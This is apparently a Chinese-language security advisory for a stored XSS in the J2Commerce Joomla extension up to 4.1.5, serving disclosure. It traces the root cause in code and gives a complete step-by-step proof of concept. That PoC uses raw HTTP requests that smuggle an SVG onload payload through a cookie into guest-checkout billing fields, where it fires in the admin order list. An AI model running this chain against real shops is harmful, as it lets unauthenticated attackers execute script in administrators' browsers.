J2Commerce (com_j2store) ≤ 4.1.5 —— 未认证攻击者可存储 XSS 载荷,并在管理员浏览器页面加载时自动执行
J2Commerce 4.1.5 存在存储型跨站脚本(XSS)漏洞,攻击路径为访客结账(guest checkout)的账单地址字段。未认证攻击者利用 Joomla Input::getArray() 中的过滤器绕过,结合 PHP 的 variables_order=EGPCS(在 $_REQUEST 中 Cookie 覆盖 POST),将未净化的 HTML 存储到 billing_first_name 等字段中。这些字段在管理员订单管理面板中被直接输出且未经 htmlspecialchars() 处理,导致载荷在管理员浏览器中执行。
当管理员导航至订单列表时,XSS 载荷会在页面加载时自动触发——无需点击任何具体订单。仅需一条 HTTP 请求链(加入购物车 → 借助 Cookie 绕过提交结账 → 下单)即可永久存储该载荷;在订单被删除或漏洞被修复之前,它将在每位管理员的浏览器中执行。
该攻击不需要攻击者进行任何身份认证。访客结账是电子商务网站的标准功能且普遍启用,管理员有查看新订单的商业动机——这使得该漏洞极易被武器化利用。
| 组件 | 受影响版本 | 测试环境 | 修复版本 |
|---|---|---|---|
| J2Commerce (com_j2store) | 1.0.0 – 4.1.5 | Joomla 5.4.7 + MySQL 8.0 上的 4.1.5 | 3.3.21 / 4.0.21 / 4.1.6 |
类型: 存储型跨站脚本(CWE-79)
所需认证: 无 —— 未认证(访客结账)
主要汇点(Sink): administrator/components/com_j2store/views/orders/tmpl/default_items.php:73
写入路径: components/com_j2store/controllers/checkouts.php:535
该漏洞由两个相互叠加的弱点组成:写入路径上的输入过滤器绕过,以及读取路径上缺失的输出编码。
1. 输入过滤器绕过 —— Joomla Input::getArray() 误用
J2Commerce 的访客结账控制器使用 $app->input->getArray($_POST) 读取地址字段。Joomla 的实现遍历 $_POST 数组,将每个值用作过滤器类型(而非数据),同时从 $_REQUEST 中读取实际值:
COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 —— 写入路径
$data = $app->input->getArray($_POST);
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP —— GETARRAY() 方法(第 187 行)
public function getArray(array $vars = [], $datasource = null)
{
foreach ($vars as $k => $v) {
$results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
}
}
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP —— 数据源(第 97 行)
$this->data = $source ?? $_REQUEST; // Reads from $_REQUEST, not $_POST
2. PHP 的 variables_order —— 在 $_REQUEST 中 Cookie 覆盖 POST
PHP 的 $_REQUEST 是由 $_GET、$_POST 和 $_COOKIE 构建的合并型超全局变量。当 variables_order=EGPCS(大多数 PHP 环境编译时的默认配置)时,Cookie(C)排在 POST(P)之后,因此键名冲突时 Cookie 胜出。
在 POST 请求体中提交 first_name=RAW,会促使 Joomla 的 InputFilter::clean() 对 Cookie 值 first_name=<svg...> 应用过滤器类型 'Raw'(无操作),而该 Cookie 值在 $_REQUEST 中胜出。
LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP —— CLEAN() 方法(第 215 行)
$type = ucfirst(strtolower($type)); // 'RAW' → 'Raw'
if ($type === 'Raw') {
return $source; // ← no sanitization — returns cookie value unchanged
}
最终结果: POST 请求体中的 first_name=RAW 将过滤器设置为无操作。Cookie first_name=<svg onload="alert(document.domain)"> 在 $_REQUEST 中胜出。Joomla 未经过滤即返回该 Cookie 值。J2Commerce 将其原样存储到 j2store_orderinfos.billing_first_name 中。
3. 缺失输出编码 —— 管理员模板汇点
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 —— 主要汇点(列表页面加载时触发)
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 —— 次要汇点(Sink)
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>
除 Debian/Ubuntu(明确设置 request_order = "GP",将 Cookie 排除在 $_REQUEST 之外)外,此绕过在所有 PHP 环境中均有效。所有其他主流托管环境——cPanel/Plesk 共享主机、CentOS/RHEL、XAMPP/WAMP/MAMP、Windows IIS——均回退到 EGPCS,因此 Cookie 覆盖功能开箱即用,无需进行任何配置更改。
以受害者管理员身份打开 J2Commerce 管理后台的订单列表。这确认了管理员正在正常使用该面板,并将在下次访问时遇到该载荷。

作为未认证攻击者,向 J2Commerce 前端主页发送 GET 请求以建立会话,并提取嵌入在页面 JSON 配置选项中的 CSRF 令牌。后续的 POST 请求需要此令牌。

将产品添加到攻击者的购物车中。购物车必须非空,访客结账端点才会接受地址提交。
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

提交访客结账地址表单,并为 first_name 提供两个冲突的值:
first_name=RAW —— Joomla 将其解释为过滤器类型(无操作)first_name=<svg...> —— 该值在 $_REQUEST 中胜出(PHP EGPCS:Cookie > POST)并被未经过滤地返回POST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E
first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

使用相同的 Cookie 绕过提交配送地址步骤。此步骤会在会话中设置配送国家/地区——跳过它会导致后续步骤报 "SHIPPING_ADDRESS_NOT_FOUND" 错误。

选择支付方式(货到付款)。payment_plugin 字段不是文本输入框,不易受到 XSS 攻击。
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1
payment_plugin=payment_cash&<csrf_token>=1

提交确认步骤以获取订单摘要页面,其中包含隐藏的 hash 字段。完成订单需要该哈希。
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1
accept_terms=1&<csrf_token>=1

使用上一步获取的哈希完成订单。服务器会在 joom_j2store_orderinfos 中创建订单记录,并将 billing_first_name 设置为原始的 XSS 载荷。
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1
hash=<hash_from_step7>&<csrf_token>=1

以受害者管理员身份导航至 J2Commerce 的订单列表。XSS 载荷在页面加载时立即触发——无需任何点击。default_items.php:73 模板在客户(Customer)列中未转义地渲染了 billing_first_name 字段。
当管理员查看订单时,服务器响应中包含:
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>
